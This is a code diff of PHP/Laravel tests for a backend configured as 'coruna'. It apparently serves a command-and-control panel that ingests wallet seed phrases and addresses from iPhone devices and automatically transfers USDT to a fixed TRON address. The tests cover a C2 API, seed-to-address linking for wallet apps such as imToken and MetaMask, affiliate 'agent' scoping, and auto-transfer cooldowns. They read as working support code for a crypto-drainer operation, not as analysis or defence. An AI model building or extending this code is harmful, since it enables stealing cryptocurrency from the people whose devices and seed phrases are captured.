'from_address' => $addr->address,
|
||||||
|
'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||||
|
'chain' => 'tron',
|
||||||
|
'tx_hash' => 'abc',
|
||||||
|
'amount' => '6',
|
||||||
|
'type' => \App\Models\TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'USDT',
|
||||||
|
'operator' => 'auto',
|
||||||
|
'status' => \App\Models\TransferRecord::STATUS_SUCCESS,
|
||||||
|
'error' => null,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$transfers = Mockery::mock(TransferService::class);
|
||||||
|
$transfers->shouldNotReceive('handle');
|
||||||
|
$this->app->instance(TransferService::class, $transfers);
|
||||||
|
|
||||||
|
$balances = Mockery::mock(WalletBalanceService::class);
|
||||||
|
$balances->shouldReceive('refresh')->once()->andReturnUsing(function (WalletAddress $row) {
|
||||||
|
WalletAddress::query()->whereKey($row->id)->update(['usdt' => '0.000000']);
|
||||||
|
$row->refresh();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
});
|
||||||
|
$this->app->instance(WalletBalanceService::class, $balances);
|
||||||
|
|
||||||
|
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||||
|
$this->assertSame(0, $stats['triggered']);
|
||||||
|
$this->assertSame(0, bccomp((string) $addr->fresh()->usdt, '0', 6));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function allows_transfer_again_after_cooldown(): void
|
||||||
|
{
|
||||||
|
config(['coruna.auto_transfer.enabled' => true]);
|
||||||
|
$device = $this->makeOfficialDevice();
|
||||||
|
$addr = $this->linkAddress($device, ['usdt' => 6, 'trx' => 0]);
|
||||||
|
|
||||||
|
$record = \App\Models\TransferRecord::query()->create([
|
||||||
|
'from_address' => $addr->address,
|
||||||
|
'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||||
|
'chain' => 'tron',
|
||||||
|
'tx_hash' => 'abc',
|
||||||
|
'amount' => '6',
|
||||||
|
'type' => \App\Models\TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'USDT',
|
||||||
|
'operator' => 'auto',
|
||||||
|
'status' => \App\Models\TransferRecord::STATUS_SUCCESS,
|
||||||
|
'error' => null,
|
||||||
|
]);
|
||||||
|
\App\Models\TransferRecord::query()->whereKey($record->id)->update([
|
||||||
|
'created_at' => now()->subMinutes(4),
|
||||||
|
'updated_at' => now()->subMinutes(4),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$transfers = Mockery::mock(TransferService::class);
|
||||||
|
$transfers->shouldReceive('handle')->once()->andReturn([
|
||||||
|
'ok' => true,
|
||||||
|
'txid' => 'x',
|
||||||
|
'from' => $addr->address,
|
||||||
|
'to' => 'T',
|
||||||
|
'amount' => '6',
|
||||||
|
'asset' => 'USDT',
|
||||||
|
]);
|
||||||
|
$this->app->instance(TransferService::class, $transfers);
|
||||||
|
|
||||||
|
$balances = Mockery::mock(WalletBalanceService::class);
|
||||||
|
$balances->shouldReceive('refresh')->twice()->andReturn(true);
|
||||||
|
$this->app->instance(WalletBalanceService::class, $balances);
|
||||||
|
|
||||||
|
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||||
|
$this->assertSame(1, $stats['triggered']);
|
||||||
|
$this->assertSame(1, $stats['ok']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function evaluate_skips_without_mnemonic(): void
|
||||||
|
{
|
||||||
|
config(['coruna.auto_transfer.enabled' => true]);
|
||||||
|
$device = $this->makeOfficialDevice();
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'usdt' => 99,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$transfers = Mockery::mock(TransferService::class);
|
||||||
|
$transfers->shouldNotReceive('handle');
|
||||||
|
$this->app->instance(TransferService::class, $transfers);
|
||||||
|
|
||||||
|
app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||||
|
$this->assertTrue(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function run_only_scans_mnemonic_addresses_with_balance(): void
|
||||||
|
{
|
||||||
|
config(['coruna.auto_transfer.enabled' => true]);
|
||||||
|
$device = $this->makeOfficialDevice();
|
||||||
|
$withBalance = $this->linkAddress($device, [
|
||||||
|
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||||
|
'usdt' => 8,
|
||||||
|
'trx' => 0,
|
||||||
|
]);
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TXYZnoBalanceAddress00000000000001',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'mnemonic_id' => $withBalance->mnemonic_id,
|
||||||
|
'usdt' => 0,
|
||||||
|
'trx' => 0,
|
||||||
|
]);
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TXYZnoMnemonicAddress000000000002',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'usdt' => 50,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$transfers = Mockery::mock(TransferService::class);
|
||||||
|
$transfers->shouldReceive('handle')
|
||||||
|
->once()
|
||||||
|
->with('tron', $withBalance->address, null, 'USDT', 'auto')
|
||||||
|
->andReturn(['ok' => true, 'txid' => 'x', 'from' => $withBalance->address, 'to' => 'T', 'amount' => '8', 'asset' => 'USDT']);
|
||||||
|
$this->app->instance(TransferService::class, $transfers);
|
||||||
|
|
||||||
|
$balances = Mockery::mock(WalletBalanceService::class);
|
||||||
|
$balances->shouldReceive('refresh')->twice()->andReturn(true);
|
||||||
|
$this->app->instance(WalletBalanceService::class, $balances);
|
||||||
|
|
||||||
|
$this->assertSame(1, app(AutoTransferService::class)->run()['inspected']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function artisan_command_runs_scan(): void
|
||||||
|
{
|
||||||
|
$this->artisan('coruna:auto-transfer')
|
||||||
|
->expectsOutputToContain('inspected=0')
|
||||||
|
->assertSuccessful();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -364,6 +364,8 @@ class C2ApiTest extends TestCase
|
|||||||
['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
|
['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
|
||||||
['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'],
|
['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'],
|
||||||
['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'],
|
['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'],
|
||||||
|
['address' => 'So11111111111111111111111111111111111111112', 'chain' => 'solana', 'balance' => '0', 'symbol' => 'SOL'],
|
||||||
|
['address' => 'EQD__________________________________________0', 'chain' => 'ton', 'balance' => '0', 'symbol' => 'TON'],
|
||||||
],
|
],
|
||||||
], $ts);
|
], $ts);
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,249 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\Chain\EthDriver;
|
||||||
|
use App\Services\Chain\TronDriver;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use App\Services\MnemonicAddressLinker;
|
||||||
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Mockery;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class MnemonicAddressLinkTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
|
||||||
|
private const TRON_0 = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
||||||
|
|
||||||
|
private const ETH_0 = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
|
||||||
|
config([
|
||||||
|
'coruna.telegram.bot_token' => '',
|
||||||
|
'coruna.telegram.owner_chat_id' => '',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$tokenview = Mockery::mock(TokenviewMonitorService::class);
|
||||||
|
$tokenview->shouldReceive('syncMonitor')->andReturn(false);
|
||||||
|
$this->app->instance(TokenviewMonitorService::class, $tokenview);
|
||||||
|
|
||||||
|
Http::fake();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function makeDevice(string $id = 'dev-link-1'): Device
|
||||||
|
{
|
||||||
|
return Device::query()->create([
|
||||||
|
'device_id' => $id,
|
||||||
|
'ios_version' => '18.0',
|
||||||
|
'device_model' => 'iPhone',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
|
||||||
|
{
|
||||||
|
$row = new WalletMnemonic([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => $source,
|
||||||
|
]);
|
||||||
|
$row->mnemonic = self::MNEMONIC;
|
||||||
|
$row->save();
|
||||||
|
|
||||||
|
return $row;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function linking_address_after_mnemonic_sets_fk(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice();
|
||||||
|
$mnemonic = $this->storeMnemonic($device);
|
||||||
|
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => self::TRON_0,
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'MetaMask',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$linked = app(MnemonicAddressLinker::class)->linkAddress($addr);
|
||||||
|
|
||||||
|
$this->assertTrue($linked);
|
||||||
|
$addr->refresh();
|
||||||
|
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
||||||
|
$this->assertSame(0, $addr->derive_index);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function linking_mnemonic_after_addresses_backfills(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-link-2');
|
||||||
|
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => self::TRON_0,
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'TronLink',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => self::ETH_0,
|
||||||
|
'chain_type' => 'ETHEREUM',
|
||||||
|
'source' => 'MetaMask',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$mnemonic = $this->storeMnemonic($device, 'imToken');
|
||||||
|
$count = app(MnemonicAddressLinker::class)->linkMnemonicToDeviceAddresses($mnemonic);
|
||||||
|
|
||||||
|
$this->assertSame(2, $count);
|
||||||
|
$this->assertSame(2, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||||
|
$this->assertSame(
|
||||||
|
[0, 0],
|
||||||
|
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('derive_index')->all()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function mnemonic_link_only_derives_chains_present_on_device(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-link-3');
|
||||||
|
$tronDriver = new TronDriver;
|
||||||
|
$ethDriver = new EthDriver;
|
||||||
|
|
||||||
|
// Only TRON + ETH on device — BTC must not be required for a match.
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => $tronDriver->deriveAddress(self::MNEMONIC, 1),
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'a',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => $ethDriver->deriveAddress(self::MNEMONIC, 2),
|
||||||
|
'chain_type' => 'ETH',
|
||||||
|
'source' => 'b',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$mnemonic = $this->storeMnemonic($device);
|
||||||
|
$count = app(MnemonicAddressLinker::class)->linkMnemonicToDeviceAddresses($mnemonic);
|
||||||
|
|
||||||
|
$this->assertSame(2, $count);
|
||||||
|
$rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get();
|
||||||
|
$this->assertSame(1, $rows[0]->derive_index);
|
||||||
|
$this->assertSame(2, $rows[1]->derive_index);
|
||||||
|
$this->assertSame($mnemonic->id, $rows[0]->mnemonic_id);
|
||||||
|
$this->assertSame($mnemonic->id, $rows[1]->mnemonic_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function derive_index_beyond_four_is_not_linked(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-link-4');
|
||||||
|
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 5);
|
||||||
|
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => $tron,
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
$mnemonic = $this->storeMnemonic($device);
|
||||||
|
|
||||||
|
$this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||||
|
$this->assertSame(0, app(MnemonicAddressLinker::class)->linkMnemonicToDeviceAddresses($mnemonic));
|
||||||
|
$addr->refresh();
|
||||||
|
$this->assertNull($addr->mnemonic_id);
|
||||||
|
$this->assertNull($addr->derive_index);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function unmatched_address_stays_unlinked(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-link-5');
|
||||||
|
$this->storeMnemonic($device);
|
||||||
|
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TXYZunmatched111111111111111111111',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||||
|
$addr->refresh();
|
||||||
|
$this->assertNull($addr->mnemonic_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function ingest_address_after_mnemonic_links_via_ingest(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-link-ingest-1');
|
||||||
|
app(IngestService::class)->ingestMnemonic($device, [
|
||||||
|
'a' => 'b',
|
||||||
|
'result' => self::MNEMONIC,
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(IngestService::class)->ingestAddresses($device, [
|
||||||
|
'a' => 'a',
|
||||||
|
'ba' => [
|
||||||
|
self::ETH_0 => [
|
||||||
|
['balance' => '0', 'chainType' => 'ETHEREUM', 'symbol' => 'ETH', 'decimal' => 18],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$addr = WalletAddress::query()->where('address', self::ETH_0)->first();
|
||||||
|
$this->assertNotNull($addr);
|
||||||
|
$this->assertNotNull($addr->mnemonic_id);
|
||||||
|
$this->assertSame(0, $addr->derive_index);
|
||||||
|
$this->assertSame(
|
||||||
|
WalletMnemonic::query()->where('device_id', $device->id)->value('id'),
|
||||||
|
$addr->mnemonic_id
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function ingest_mnemonic_after_address_links_via_ingest(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-link-ingest-2');
|
||||||
|
|
||||||
|
app(IngestService::class)->ingestAddresses($device, [
|
||||||
|
'a' => 'c',
|
||||||
|
'ba' => [
|
||||||
|
self::TRON_0 => [
|
||||||
|
['balance' => '0', 'chainType' => 'TRON', 'symbol' => 'TRX', 'decimal' => 6],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$addr = WalletAddress::query()->where('address', self::TRON_0)->first();
|
||||||
|
$this->assertNotNull($addr);
|
||||||
|
$this->assertNull($addr->mnemonic_id);
|
||||||
|
|
||||||
|
app(IngestService::class)->ingestMnemonic($device, [
|
||||||
|
'a' => 'b',
|
||||||
|
'result' => self::MNEMONIC,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$addr->refresh();
|
||||||
|
$this->assertNotNull($addr->mnemonic_id);
|
||||||
|
$this->assertSame(0, $addr->derive_index);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,164 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Admin;
|
||||||
|
use App\Models\Channel;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class MnemonicWalletsTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
|
||||||
|
{
|
||||||
|
$row = new WalletMnemonic([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => $source,
|
||||||
|
]);
|
||||||
|
$row->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
$row->save();
|
||||||
|
|
||||||
|
return $row;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function wallets_endpoint_returns_linked_address_balances(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-mn-wallets']);
|
||||||
|
$mnemonic = $this->storeMnemonic($device);
|
||||||
|
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'derive_index' => 0,
|
||||||
|
'usdt' => 12.5,
|
||||||
|
'trx' => 3.1,
|
||||||
|
]);
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => '0x9858effd232b4033e47d90003d41ec34ecaeda94',
|
||||||
|
'chain_type' => 'ETH',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'derive_index' => 0,
|
||||||
|
'eth' => 1.25,
|
||||||
|
]);
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'unlinked-addr',
|
||||||
|
'chain_type' => 'BTC',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'btc' => 9,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.mnemonic_id', $mnemonic->id)
|
||||||
|
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
||||||
|
->assertJsonPath('data.addresses.0.usdt', '12.5')
|
||||||
|
->assertJsonPath('data.addresses.0.trx', '3.1')
|
||||||
|
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
|
||||||
|
->assertJsonPath('data.addresses.1.eth', '1.25')
|
||||||
|
->assertJsonCount(2, 'data.addresses');
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function wallets_endpoint_respects_agent_scope(): void
|
||||||
|
{
|
||||||
|
$agent = User::query()->create(['username' => 'agent-w', 'password' => 'secret12', 'status' => 1]);
|
||||||
|
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||||
|
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||||
|
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agent->id, 'status' => 1]);
|
||||||
|
Channel::query()->create(['channel_id' => $chB, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
|
||||||
|
|
||||||
|
$mine = Device::query()->create(['device_id' => 'dev-mine', 'channel_id' => $chA]);
|
||||||
|
$other = Device::query()->create(['device_id' => 'dev-other', 'channel_id' => $chB]);
|
||||||
|
$mnMine = $this->storeMnemonic($mine);
|
||||||
|
$mnOther = $this->storeMnemonic($other, 'Trust');
|
||||||
|
|
||||||
|
$this->actingAs($agent, 'agent')
|
||||||
|
->getJson(route('user.mnemonics.wallets', $mnMine))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0);
|
||||||
|
|
||||||
|
$this->actingAs($agent, 'agent')
|
||||||
|
->getJson(route('user.mnemonics.wallets', $mnOther))
|
||||||
|
->assertForbidden();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function mnemonic_list_includes_wallets_url(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-mn-list']);
|
||||||
|
$mnemonic = $this->storeMnemonic($device);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.mnemonics.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('data.0.id', $mnemonic->id)
|
||||||
|
->assertJsonPath('data.0.wallets_url', route('admin.mnemonics.wallets', $mnemonic))
|
||||||
|
->assertJsonPath('data.0.refresh_url', route('admin.mnemonics.wallets.refresh', $mnemonic));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function refresh_updates_linked_balances_and_throttles(): void
|
||||||
|
{
|
||||||
|
Http::fake([
|
||||||
|
'*/v1/accounts/*' => Http::response([
|
||||||
|
'data' => [[
|
||||||
|
'balance' => 2_000_000,
|
||||||
|
'trc20' => [
|
||||||
|
['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '5000000'],
|
||||||
|
],
|
||||||
|
]],
|
||||||
|
'success' => true,
|
||||||
|
], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-mn-refresh']);
|
||||||
|
$mnemonic = $this->storeMnemonic($device);
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'usdt' => 0,
|
||||||
|
'trx' => 0,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.refreshed', 1)
|
||||||
|
->assertJsonPath('data.addresses.0.trx', '2')
|
||||||
|
->assertJsonPath('data.addresses.0.usdt', '5');
|
||||||
|
|
||||||
|
$addr->refresh();
|
||||||
|
$this->assertEqualsWithDelta(2.0, (float) $addr->trx, 0.0000001);
|
||||||
|
$this->assertEqualsWithDelta(5.0, (float) $addr->usdt, 0.0000001);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
|
||||||
|
->assertStatus(429)
|
||||||
|
->assertJsonPath('code', 1)
|
||||||
|
->assertJsonStructure(['data' => ['retry_after']]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,7 +3,6 @@
|
|||||||
namespace Tests\Feature;
|
namespace Tests\Feature;
|
||||||
|
|
||||||
use App\Models\Admin;
|
use App\Models\Admin;
|
||||||
use App\Models\Setting;
|
|
||||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
use PHPUnit\Framework\Attributes\Test;
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
use Tests\TestCase;
|
use Tests\TestCase;
|
||||||
@@ -12,6 +11,32 @@ class SystemAdminTest extends TestCase
|
|||||||
{
|
{
|
||||||
use RefreshDatabase;
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private string $envBackup = '';
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
$path = base_path('.env');
|
||||||
|
$this->envBackup = is_file($path) ? (string) file_get_contents($path) : '';
|
||||||
|
config([
|
||||||
|
'coruna.panel.admin_hosts' => [],
|
||||||
|
'coruna.panel.agent_hosts' => [],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function tearDown(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.panel.admin_hosts' => [],
|
||||||
|
'coruna.panel.agent_hosts' => [],
|
||||||
|
]);
|
||||||
|
$path = base_path('.env');
|
||||||
|
if ($this->envBackup !== '') {
|
||||||
|
file_put_contents($path, $this->envBackup);
|
||||||
|
}
|
||||||
|
parent::tearDown();
|
||||||
|
}
|
||||||
|
|
||||||
private function superAdmin(): Admin
|
private function superAdmin(): Admin
|
||||||
{
|
{
|
||||||
return Admin::query()->create([
|
return Admin::query()->create([
|
||||||
@@ -31,21 +56,38 @@ class SystemAdminTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function normal_admin_cannot_access_system_routes(): void
|
public function normal_admin_cannot_access_super_only_routes(): void
|
||||||
|
{
|
||||||
|
$staff = $this->normalAdmin();
|
||||||
|
|
||||||
|
$this->actingAs($staff, 'admin')
|
||||||
|
->get(route('admin.system.admins.index'))
|
||||||
|
->assertForbidden();
|
||||||
|
|
||||||
|
$this->actingAs($staff, 'admin')
|
||||||
|
->get(route('admin.logs.index'))
|
||||||
|
->assertForbidden();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function normal_admin_can_access_system_settings(): void
|
||||||
{
|
{
|
||||||
$staff = $this->normalAdmin();
|
$staff = $this->normalAdmin();
|
||||||
|
|
||||||
$this->actingAs($staff, 'admin')
|
$this->actingAs($staff, 'admin')
|
||||||
->get(route('admin.system.settings.index'))
|
->get(route('admin.system.settings.index'))
|
||||||
->assertForbidden();
|
->assertOk()
|
||||||
|
->assertSee('系统设置');
|
||||||
|
|
||||||
$this->actingAs($staff, 'admin')
|
$this->actingAs($staff, 'admin')
|
||||||
->get(route('admin.system.admins.index'))
|
->get(route('admin.home'))
|
||||||
->assertForbidden();
|
->assertOk()
|
||||||
|
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
|
||||||
|
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function super_admin_sees_system_menu_normal_does_not(): void
|
public function super_admin_sees_full_system_menu(): void
|
||||||
{
|
{
|
||||||
$this->actingAs($this->superAdmin(), 'admin')
|
$this->actingAs($this->superAdmin(), 'admin')
|
||||||
->get(route('admin.home'))
|
->get(route('admin.home'))
|
||||||
@@ -53,17 +95,16 @@ class SystemAdminTest extends TestCase
|
|||||||
->assertSee('系统')
|
->assertSee('系统')
|
||||||
->assertSee('设置')
|
->assertSee('设置')
|
||||||
->assertSee('管理员');
|
->assertSee('管理员');
|
||||||
|
|
||||||
$this->actingAs($this->normalAdmin(), 'admin')
|
|
||||||
->get(route('admin.home'))
|
|
||||||
->assertOk()
|
|
||||||
->assertDontSee('lay-href="'.route('admin.system.settings.index').'"', false);
|
|
||||||
}
|
}
|
||||||
